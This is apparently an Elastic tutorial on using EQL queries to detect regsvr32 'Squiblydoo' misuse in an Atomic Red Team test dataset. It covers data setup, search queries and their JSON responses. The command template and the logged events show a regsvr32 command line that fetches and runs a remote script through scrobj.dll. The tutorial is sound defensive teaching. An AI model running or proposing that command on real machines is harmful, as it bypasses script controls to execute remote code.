Example: Detect threats with EQL
editExample: Detect threats with EQL
editThis example tutorial shows how you can use EQL to detect security threats and other suspicious behavior. In the scenario, you’re tasked with detecting regsvr32 misuse in Windows event logs.
regsvr32.exe is a built-in command-line utility used to register .dll
libraries in Windows. As a native tool, regsvr32.exe has a trusted status,
letting it bypass most allowlist software and script blockers.
Attackers with access to a user’s command line can use regsvr32.exe to run
malicious scripts via .dll libraries, even on machines that otherwise
disallow such scripts.
One common variant of regsvr32 misuse is a
Squiblydoo attack. In a
Squiblydoo attack, a regsvr32.exe command uses the scrobj.dll library to
register and run a remote script. These commands often look like this:
"regsvr32.exe /s /u /i:<script-url> scrobj.dll"
Setup
editThis tutorial uses a test dataset from Atomic Red Team that includes events imitating a Squiblydoo attack. The data has been mapped to Elastic Common Schema (ECS) fields.
To get started:
-
Create an index template with data stream enabled:
resp = client.indices.put_index_template( name="my-data-stream-template", index_patterns=[ "my-data-stream*" ], data_stream={}, priority=500, ) print(resp)response = client.indices.put_index_template( name: 'my-data-stream-template', body: { index_patterns: [ 'my-data-stream*' ], data_stream: {}, priority: 500 } ) puts responseconst response = await client.indices.putIndexTemplate({ name: "my-data-stream-template", index_patterns: ["my-data-stream*"], data_stream: {}, priority: 500, }); console.log(response);PUT /_index_template/my-data-stream-template { "index_patterns": [ "my-data-stream*" ], "data_stream": { }, "priority": 500 } -
Download
normalized-T1117-AtomicRed-regsvr32.json. -
Use the bulk API to index the data to a matching stream:
curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
-
Use the cat indices API to verify the data was indexed:
resp = client.cat.indices( index="my-data-stream", v=True, h="health,status,index,docs.count", ) print(resp)response = client.cat.indices( index: 'my-data-stream', v: true, h: 'health,status,index,docs.count' ) puts response
const response = await client.cat.indices({ index: "my-data-stream", v: "true", h: "health,status,index,docs.count", }); console.log(response);GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count
The response should show a
docs.countof150.health status index docs.count yellow open .ds-my-data-stream-2099.12.07-000001 150
Get a count of regsvr32 events
editFirst, get a count of events associated with a regsvr32.exe process:
resp = client.eql.search(
index="my-data-stream",
filter_path="-hits.events",
query="\n any where process.name == \"regsvr32.exe\" \n ",
size=200,
)
print(resp)
const response = await client.eql.search({
index: "my-data-stream",
filter_path: "-hits.events",
query: '\n any where process.name == "regsvr32.exe" \n ',
size: 200,
});
console.log(response);
GET /my-data-stream/_eql/search?filter_path=-hits.events { "query": """ any where process.name == "regsvr32.exe" """, "size": 200 }
|
|
|
|
Matches any event with a |
|
|
Returns up to 200 hits for matching events. |
The response returns 143 related events.
{
"is_partial": false,
"is_running": false,
"took": 60,
"timed_out": false,
"hits": {
"total": {
"value": 143,
"relation": "eq"
}
}
}
Check for command line artifacts
editregsvr32.exe processes were associated with 143 events. But how was
regsvr32.exe first called? And who called it? regsvr32.exe is a command-line
utility. Narrow your results to processes where the command line was used:
resp = client.eql.search(
index="my-data-stream",
query="\n process where process.name == \"regsvr32.exe\" and process.command_line.keyword != null\n ",
)
print(resp)
const response = await client.eql.search({
index: "my-data-stream",
query:
'\n process where process.name == "regsvr32.exe" and process.command_line.keyword != null\n ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
"query": """
process where process.name == "regsvr32.exe" and process.command_line.keyword != null
"""
}
The query matches one event with an event.type of creation, indicating the
start of a regsvr32.exe process. Based on the event’s process.command_line
value, regsvr32.exe used scrobj.dll to register a script, RegSvr32.sct.
This fits the behavior of a Squiblydoo attack.
{
...
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"events": [
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "gl5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"parent": {
"name": "cmd.exe",
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
"executable": "C:\\Windows\\System32\\cmd.exe"
},
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
"executable": "C:\\Windows\\System32\\regsvr32.exe",
"ppid": 2652
},
"logon_id": 217055,
"@timestamp": 131883573237130000,
"event": {
"category": "process",
"type": "creation"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
}
}
}
]
}
}
Check for malicious script loads
editCheck if regsvr32.exe later loads the scrobj.dll library:
resp = client.eql.search(
index="my-data-stream",
query="\n library where process.name == \"regsvr32.exe\" and dll.name == \"scrobj.dll\"\n ",
)
print(resp)
const response = await client.eql.search({
index: "my-data-stream",
query:
'\n library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"\n ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
"query": """
library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
"""
}
The query matches an event, confirming scrobj.dll was loaded.
{
...
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"events": [
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "ol5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573237450016,
"dll": {
"path": "C:\\Windows\\System32\\scrobj.dll",
"name": "scrobj.dll"
},
"event": {
"category": "library"
}
}
}
]
}
}
Determine the likelihood of success
editIn many cases, attackers use malicious scripts to connect to remote servers or download other files. Use an EQL sequence query to check for the following series of events:
-
A
regsvr32.exeprocess -
A load of the
scrobj.dlllibrary by the same process - Any network event by the same process
Based on the command line value seen in the previous response, you can expect to find a match. However, this query isn’t designed for that specific command. Instead, it looks for a pattern of suspicious behavior that’s generic enough to detect similar threats.
resp = client.eql.search(
index="my-data-stream",
query="\n sequence by process.pid\n [process where process.name == \"regsvr32.exe\"]\n [library where dll.name == \"scrobj.dll\"]\n [network where true]\n ",
)
print(resp)
const response = await client.eql.search({
index: "my-data-stream",
query:
'\n sequence by process.pid\n [process where process.name == "regsvr32.exe"]\n [library where dll.name == "scrobj.dll"]\n [network where true]\n ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
"query": """
sequence by process.pid
[process where process.name == "regsvr32.exe"]
[library where dll.name == "scrobj.dll"]
[network where true]
"""
}
The query matches a sequence, indicating the attack likely succeeded.
{
...
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"sequences": [
{
"join_keys": [
2012
],
"events": [
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "gl5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"parent": {
"name": "cmd.exe",
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
"executable": "C:\\Windows\\System32\\cmd.exe"
},
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
"executable": "C:\\Windows\\System32\\regsvr32.exe",
"ppid": 2652
},
"logon_id": 217055,
"@timestamp": 131883573237130000,
"event": {
"category": "process",
"type": "creation"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
}
}
},
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "ol5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573237450016,
"dll": {
"path": "C:\\Windows\\System32\\scrobj.dll",
"name": "scrobj.dll"
},
"event": {
"category": "library"
}
}
},
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "EF5MJXMBMk1dGnErnBa9",
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573238680000,
"destination": {
"address": "151.101.48.133",
"port": "443"
},
"source": {
"address": "192.168.162.134",
"port": "50505"
},
"event": {
"category": "network"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
},
"network": {
"protocol": "tcp",
"direction": "outbound"
}
}
}
]
}
]
}
}